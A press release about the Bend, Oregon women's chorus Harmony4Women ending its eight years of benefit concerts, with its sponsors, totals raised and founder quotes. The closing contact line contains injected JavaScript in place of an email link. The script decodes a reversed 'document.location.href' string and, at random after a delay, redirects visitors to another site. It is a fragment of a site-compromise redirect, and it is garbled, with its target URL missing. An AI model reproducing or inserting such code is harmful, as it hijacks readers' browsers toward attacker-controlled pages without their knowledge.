Curtain Call for Harmony4Women of Bend, Oregon

Eight Years of Annual Performances Benefitting Six Non-Profits

The dynamic musical organization Harmony4Women is ending its eight-year run of acappella performances, announced event founder Nancy Ueland. Harmony4Women was conceived by Ueland as she was healing from aplastic anemia. During her recovery, she realized that the harmony of the chords had a profound effect on her wellbeing, a fact that has been scientifically documented.

Ueland imagined developing a community chorus to sing four-part harmony and having a performance that would benefit non-profit organizations. Partnering with director Connie Norman, she gathered a team of advisors and representatives of several local women’s nonprofits in 2009, and the project grew from there.

That first year, in 2009, Harmony4Women partnered with Grandma’s House, Women’s Resource Center, Saving Grace and Central Oregon Showcase Chorus, and put out a call for singers, reaching out to women who had always desired to sing in a chorus. Under the direction of the talented Connie Norman, women of all ages took to the risers to learn how to harmonize.

Each year, singers committed to 10 rehearsals and a final performance, which included, over the years, popular, traditional and Christmas music. The program grew annually and, over the course of the next seven years, Harmony4Women taught 700 women how to sing four-part acappella harmony and perform on stage, and held annual concerts each November. The women singers ranged in age from 8-80, and came from all over Central Oregon, representing Sisters, Madras, Prineville, Redmond, Bend, Sunriver and LaPine in a community chorus with an infectious feel-good mission: to empower women through song.

Some of the years Harmony4Women’s performance included pageantry, such as a Christmas play with the Grinch and other actors, and other years, there was a musical scholarship contest in which Harmony4Women partnered with music departments of area high schools to encourage vocalists to sing in the annual event. Over two years, four students were awarded $3,500 in scholarships. The students sang a few songs as part of the larger Harmony Chorus. Every season, Harmony4Women was joined by the local Bella Acappella Harmony Chorus for the show, and together the two choruses, sometimes numbering 75 women on stage, performed two acts to benefit the nonprofits.

A large part of the community bonding occurred as performance day approached, and singers worked hard to learn their notes, costumes were coordinated, and tips for stage appearance were shared with the newcomers. Harmony4Women enveloped an entire community of women in a sisterhood of song.

Founder Ueland shares, “This was the joy of the experience for me. The gift of Harmony4Women was hearing the stories of why women came to the risers and how singing became a passion for the chorus members, as it was for me. To share four-part harmony with such a dedicated group of women and girls, including several multi-generational families, was a once-in-a-lifetime experience for all of us, I believe.”

Through the generosity of sponsors, many of whom returned every year, the events raised over $88,000 for six nonprofits, including the original four, as well as Soroptimist of Bend and the American Association of University Women (AAUW).Among the sponsors who were with the organization from its inception were: Les Schwab Tire Centers, Central Oregon Radiology, Cascade Arts & Entertainment, Moonlight Mailing, Williams Foundation (OCF), Kathi Friedman, Linda Gardner of Bend Brokers Realty, and the Roundhouse Foundation.

Additional sponsors over the years included: Harcourts The Garner Group, Kozak Property Management, Polar Cruises, Brian Liebman of Primelending, and Murtaugh Dental. “Harmony4Women is greatly appreciative of all the sponsors, singers, and community members who made each year a success, and we thank each one of them for an extraordinary experience,” expressed Ueland.

Grandma’s House Founder Woody Medeiros concludes, “As one of the ‘four’ partners in Harmony4Women, Grandma’s House has a deep pride in all we have accomplished over these last eight years. Asa recipient of funds raised by Harmony4Women concerts, this annual support has meant so much to our moms and babies. As a singer in Harmony4Women, I’m forever grateful to have learned so much about myself, to have made friendships that will last a lifetime and to have been part of a woman’s movement that brought so much joy and benefited so many families in the deepest way.  I will cherish these memories forever.”

Nancy Ueland 541-383-3142 or =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and@bendcable.com”>nueland@bendcable.com.
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